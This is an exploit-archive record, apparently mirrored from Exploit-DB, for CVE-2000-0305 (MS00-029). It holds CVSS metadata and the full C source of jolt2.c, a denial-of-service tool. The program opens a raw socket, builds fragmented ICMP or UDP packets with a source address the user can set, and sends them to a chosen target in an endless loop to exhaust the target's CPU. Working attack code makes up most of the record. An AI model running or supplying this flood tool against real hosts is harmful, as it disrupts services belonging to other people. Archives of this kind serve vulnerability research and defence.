{"exploit":{"id":"EDB-214","name":"Microsoft Windows - 'Jolt2.c' Denial of Service (DoS) (MS00-029)","description":"Microsoft Windows - 'Jolt2.c' Denial of Service (DoS) (MS00-029)","cves":["CVE-2000-0305"],"author":"phonix","published":"2000-12-02","platform":"windows","type":"dos","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/214","path":"exploits/windows/dos/214.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-214.c","vulnerabilities":[{"id":"CVE-2000-0305","state":"PUBLISHED","title":null,"titleSource":null,"description":"Windows 95, Windows 98, Windows 2000, Windows NT 4.0, and Terminal Server systems allow a remote attacker to cause a denial of service by sending a large number of identical fragmented IP packets, aka jolt2 or the \"IP Fragment Reassembly\" vulnerability.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2000-0305","cvss":{"version":"2.0","baseScore":7.8,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2000-0305"},"updatedAt":"2024-08-08T05:14:20.553Z","retrievedAt":"2026-11-26T13:05:30.251Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-214.png?v=2","url":"https://exploitbin.com/exploits/EDB-214","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-214/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-214/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * File:   jolt2.c\n * Author: Phonix <phonix@moocow.org>\n * Date:   23-May-00\n *\n * Description: This is the proof-of-concept code for the\n *              Windows denial-of-serice attack described by\n *              the Razor team (NTBugtraq, 19-May-00)\n *              (MS00-029).  This code causes cpu utilization\n *              to go to 100%.\n *\n * Tested against: Firewall-1\n *\n * Written for: My Linux box.  YMMV.  Deal with it.\n *\n * Thanks: This is standard code.  Ripped from lots of places.\n *         Insert your name here if you think you wrote some of\n *         it.  It's a trivial exploit, so I won't take credit\n *         for anything except putting this file together.\n */\n\n#include <stdio.h>\n#include <string.h>\n#include <netdb.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <netinet/in.h>\n#include <netinet/ip.h>\n#include <netinet/ip_icmp.h>\n#include <netinet/udp.h>\n#include <arpa/inet.h>\n#include <getopt.h>\n\nstruct _pkt\n{\n  struct iphdr    ip;\n  union {\n    struct icmphdr  icmp;\n    struct udphdr   udp;\n  }  proto;\n  char data;\n} pkt;\n\nint icmplen  = sizeof(struct icmphdr),\n    udplen   = sizeof(struct udphdr),\n    iplen    = sizeof(struct iphdr),\n    spf_sck;\n\nvoid usage(char *pname)\n{\n  fprintf (stderr, \"Usage: %s [-s src_addr] [-p port] dest_addr\\n\", pname);\n  fprintf (stderr, \"Note: UDP used if a port is specified, otherwise ICMP\\n\");\n  exit(0);\n}\n\nu_long host_to_ip(char *host_name)\n{\n  static  u_long ip_bytes;\n  struct hostent *res;\n\n  res = gethostbyname(host_name);\n  if (res == NULL)\n    return (0);\n  memcpy(&ip_bytes, res->h_addr, res->h_length);\n  return (ip_bytes);\n}\n\nvoid quit(char *reason)\n{\n  perror(reason);\n  close(spf_sck);\n  exit(-1);\n}\n\nint do_frags (int sck, u_long src_addr, u_long dst_addr, int port)\n{\n  int     bs, psize;\n  unsigned long x;\n  struct  sockaddr_in to;\n\n  to.sin_family = AF_INET;\n  to.sin_port = 1235;\n  to.sin_addr.s_addr = dst_addr;\n\n  if (port)\n    psize = iplen + udplen + 1;\n  else\n    psize = iplen + icmplen + 1;\n  memset(&pkt, 0, psize);\n\n  pkt.ip.version = 4;\n  pkt.ip.ihl = 5;\n  pkt.ip.tot_len = htons(iplen + icmplen) + 40;\n  pkt.ip.id = htons(0x455);\n  pkt.ip.ttl = 255;\n  pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP);\n  pkt.ip.saddr = src_addr;\n  pkt.ip.daddr = dst_addr;\n  pkt.ip.frag_off = htons (8190);\n\n  if (port)\n  {\n    pkt.proto.udp.source = htons(port|1235);\n    pkt.proto.udp.dest = htons(port);\n    pkt.proto.udp.len = htons(9);\n    pkt.data = 'a';\n  } else {\n    pkt.proto.icmp.type = ICMP_ECHO;\n    pkt.proto.icmp.code = 0;\n    pkt.proto.icmp.checksum = 0;\n  }\n\n  while (1) {\n    bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to,\n              sizeof(struct sockaddr));\n  }\n  return bs;\n}\n\nint main(int argc, char *argv[])\n{\n  u_long  src_addr, dst_addr;\n  int i, bs=1, port=0;\n  char hostname[32];\n\n  if (argc < 2)\n    usage (argv[0]);\n\n  gethostname (hostname, 32);\n  src_addr = host_to_ip(hostname);\n\n  while ((i = getopt (argc, argv, \"s:p:h\")) != EOF)\n  {\n    switch (i)\n    {\n      case 's':\n        dst_addr = host_to_ip(optarg);\n        if (!dst_addr)\n          quit(\"Bad source address given.\");\n        break;\n\n      case 'p':\n        port = atoi(optarg);\n        if ((port <=0) || (port > 65535))\n          quit (\"Invalid port number given.\");\n        break;\n\n      case 'h':\n      default:\n        usage (argv[0]);\n    }\n  }\n\n  dst_addr = host_to_ip(argv[argc-1]);\n  if (!dst_addr)\n    quit(\"Bad destination address given.\");\n\n  spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);\n  if (!spf_sck)\n    quit(\"socket()\");\n  if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs,\n      sizeof(bs)) < 0)\n    quit(\"IP_HDRINCL\");\n\n  do_frags (spf_sck, src_addr, dst_addr, port);\n}\n\n\n// milw0rm.com [2000-12-02]","sha256":"b372e35240cc5f33b40ec0ef44f0cee197e14c11441d0345ead5760ec48885f3","bytes":3750,"fetchedAt":"2026-11-26T13:05:26.994Z","encoding":"utf-8 (display only; download retains original bytes)"}